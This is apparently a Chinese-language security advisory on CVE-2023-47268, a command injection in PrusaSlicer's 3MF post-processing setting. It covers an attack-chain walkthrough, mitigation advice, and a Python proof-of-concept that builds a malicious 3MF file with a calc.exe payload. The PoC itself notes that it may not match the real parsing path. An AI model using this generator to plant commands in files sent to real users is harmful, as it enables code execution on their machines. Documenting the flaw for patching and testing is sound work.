IPBUF安全漏洞报告
English
CVE-2023-47268 CVSS 5.3 中危

CVE-2023-47268 PrusaSlicer 任意代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2023-47268
漏洞类型
任意代码执行
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Prusa PrusaSlicer

相关标签

RCEPrusaSlicer3MF命令注入CVE-2023-47268

漏洞概述

Prusa PrusaSlicer 2.6.1及之前版本存在安全漏洞。攻击者可利用特制的3MF项目文件,诱导用户在目标主机上进行切片或G-code导出操作,通过后处理脚本处理不当的缺陷,导致在受害者系统上执行任意代码。

技术细节

该漏洞源于PrusaSlicer在处理3MF项目文件时的`libslic3r/GCode/PostProcessor.cpp`组件。3MF文件本质上是一个ZIP压缩包,内含模型数据及配置信息。PrusaSlicer支持在导出G-code时执行自定义的后处理脚本。然而,软件在解析3MF文件中的相关配置参数时,未能对输入数据进行充分的过滤和转义。攻击者可以构造恶意的3MF文件,在其中注入操作系统命令(例如通过分号或管道符连接恶意指令)。当受害者使用受影响的PrusaSlicer版本加载该文件并触发切片或导出流程时,软件会将未经净化的参数传递给系统调用接口(如`system()`),从而以当前用户权限执行攻击者预设的任意代码。

攻击链分析

STEP 1
1. 漏洞利用准备
攻击者分析PrusaSlicer的源码,发现PostProcessor.cpp中处理post_process配置时存在命令注入漏洞,并编写Python脚本生成包含恶意配置的3MF文件。
STEP 2
2. 传递恶意文件
攻击者通过邮件、论坛或文件共享平台,将伪装成正常3D打印模型的恶意.3mf文件发送给目标用户。
STEP 3
3. 诱导用户交互
诱导目标用户使用PrusaSlicer打开该恶意文件,并尝试进行切片预览或导出G-code操作。
STEP 4
4. 执行任意代码
PrusaSlicer在处理过程中解析恶意配置,将注入的命令传递给系统Shell执行,从而导致攻击者在受害者主机上获得代码执行权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Generator for CVE-2023-47268 # This script generates a malicious 3MF file that triggers command injection # via the post_processing configuration. import zipfile import os def generate_malicious_3mf(output_file, command): """ Creates a minimal 3MF structure with a malicious config. """ with zipfile.ZipFile(output_file, 'w') as zf: # 1. Essential 3MF structure files # [Content_Types].xml defines the file types in the package content_types = '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="model" ContentType="application/vnd.ms-package.3dmanufacturing-3dmodel+xml"/> </Types>''' zf.writestr('[Content_Types].xml', content_types) # 2. Relationships (empty for PoC) rels = '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> </Relationships>''' zf.writestr('_rels/.rels', rels) # 3. Dummy 3D Model file # Minimal valid model content to allow opening model = '''<?xml version="1.0" encoding="UTF-8"?> <model unit="millimeter" xml:lang="en-US" xmlns="http://schemas.microsoft.com/3dmanufacturing/core/2015/02"> <metadata/> <resources> <object id="1" type="model"> <mesh> <vertices> <vertex x="0" y="0" z="0"/> <vertex x="1" y="0" z="0"/> <vertex x="0" y="1" z="0"/> </vertices> <triangles> <triangle v1="0" v2="1" v3="2"/> </triangles> </mesh> </object> </resources> <build> <item objectid="1" transform="1 0 0 0 1 0 0 0 1 0 0 0"/> </build> </model>''' zf.writestr('3D/3dmodel.model', model) # 4. Malicious Configuration # Injecting the command into the post_process parameter # This mimics the internal config loaded from 3MF config_content = f"""[general] version = 1.0.0 [presets] post_process = {command} """ # Note: In a real exploit, the location of the config might vary or be embedded # in a specific way PrusaSlicer parses. This represents the logical payload. zf.writestr('Metadata/slic3r_pe.ini', config_content) print(f"[+] Malicious 3MF file generated: {output_file}") print(f"[+] Payload command: {command}") if __name__ == "__main__": # Example payload: Opening calculator on Windows # On Linux/Mac, use 'gnome-calculator' or 'open /Applications/Calculator.app' payload = "calc.exe" filename = "exploit_CVE-2023-47268.3mf" generate_malicious_3mf(filename, payload)

影响范围

Prusa PrusaSlicer <= 2.6.1

防御指南

临时缓解措施
目前厂商已发布修复版本,建议用户尽快更新至最新版。对于无法立即更新的用户,应严格限制3MF文件的来源,并在使用PrusaSlicer打开文件时,仔细审查其包含的配置信息,特别是后处理脚本相关的配置项,确保没有未知的系统命令。

参考链接